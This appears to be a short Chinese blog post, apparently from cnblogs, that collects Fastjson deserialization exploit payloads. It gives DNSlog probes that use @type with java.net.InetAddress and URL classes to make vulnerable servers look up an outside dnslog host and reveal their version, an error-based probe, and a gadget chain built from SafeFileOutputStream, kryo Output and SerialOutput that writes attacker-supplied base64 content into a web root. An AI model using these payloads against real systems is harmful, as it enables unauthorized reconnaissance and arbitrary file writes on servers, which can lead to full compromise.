漏洞检测：
`
DNSlog
{"@type":"java.net.InetAddress","val":"dnslog.cn"} 在49以下才能触发，因为这个gadget在49被禁止了，可用于检测具体版本
{"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} {"@type":"com.alibaba.fastjson.JSONObject",
{"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"} Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
`
报错检测：
`
{"xxx":"aaa"
`
文件写入：
`
{ "stream":
{
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "D:/wamp64/www/hacked.txt", \\创建一个空文件
"tempPath": "D:/wamp64/www/test.txt"\\创建一个有内容的文件 },
"writer":
{ "@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "cHduZWQ=", \\base64后的文件内容
"outputStream": { "$ref": "$.stream" },
"position": 5 },
"close":
{ "@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": { "$ref": "$.writer" } }
}
`
标签：Fastjson,dnslog,java,val,URL,检测,利用,net,type From： https://www.cnblogs.com/0rangecat/p/17364480.html